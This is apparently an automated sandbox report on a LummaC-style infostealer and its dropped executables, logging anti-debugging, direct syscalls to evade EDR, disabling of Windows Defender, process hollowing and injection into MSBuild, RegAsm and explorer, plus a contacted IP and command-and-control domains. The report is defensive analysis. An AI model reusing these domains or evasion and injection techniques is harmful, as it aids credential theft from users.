Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Code function: 10_2_69B2496E UnDecorator::getDataIndirectType,LdrInitializeThunk,DName::operator+=,DName::operator+,UnDecorator::getScope,DName::DName,DName::operator+,DName::operator+=,DName::operator+=,DName::operator+=,DName::operator+=,DName::operator+=,DName::DName,DName::operator+,

10_2_69B2496E

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Code function: 10_2_69B1B144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_69B1B144

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_009B8BB0 LoadLibraryA,GetProcAddress,

7_2_009B8BB0

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009B60B0 mov ecx, dword ptr fs:[00000030h]	7_2_009B60B0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009FD9F0 mov eax, dword ptr fs:[00000030h]	7_2_009FD9F0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009FD9F0 mov eax, dword ptr fs:[00000030h]	7_2_009FD9F0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009BAB90 mov eax, dword ptr fs:[00000030h]	7_2_009BAB90
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009B46B0 mov eax, dword ptr fs:[00000030h]	7_2_009B46B0

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_009A94C0 OutputDebugStringA,GetModuleHandleA,GetProcAddress,GetProcessHeap,HeapAlloc,HeapFree,HeapAlloc,HeapFree,

7_2_009A94C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B1B144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		10_2_69B1B144
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B1948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		10_2_69B1948B

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: btswgej.37.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 102.53.9.151 80

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2C00000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe

Thread created: C:\Windows\explorer.exe EIP: 87E19D0

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654269878	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x140FC862F
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF65424AA01	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654306125	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtOpenFile: Direct from: 0x140FBCAB9
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654099F90	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x1416B420B
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654268F99	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654259802	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Indirect: 0x140F595B5
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtQueryInformationProcess: Indirect: 0x7FF653EDEC0A	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654099B9D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x1416AD85D
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF65425115C	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654271721	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF65426DF36	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtQuerySystemInformation: Indirect: 0x7FF653E74BC9	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x140FBCAC6
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF65426ADC1	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF6542317FC	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtSetInformationThread: Indirect: 0x7FF653EDC44F	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtMapViewOfSection: Direct from: 0x14102BFF1
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x141037F5D
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x141699636
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	NtProtectVirtualMemory: Direct from: 0x141019C6D
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtQueryInformationProcess: Indirect: 0x7FF653EDED5F	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	NtProtectVirtualMemory: Direct from: 0x7FF654219A33	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2C00000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wifeplasterbakewis.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mealplayerpreceodsju.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bordersoarmanusjuw.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: suitcaseacanehalk.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: absentconvicsjawun.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: pushjellysingeywus.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: economicscreateojsu.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: entitlementappwo.shop
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stripmarrystresew.shop

Maps a DLL or memory area into another process

Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2C00000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2BBB008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 464000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4C0000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 423000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 642000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9E3008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BE0008

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" -s .\SZM3Yb.I -u
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
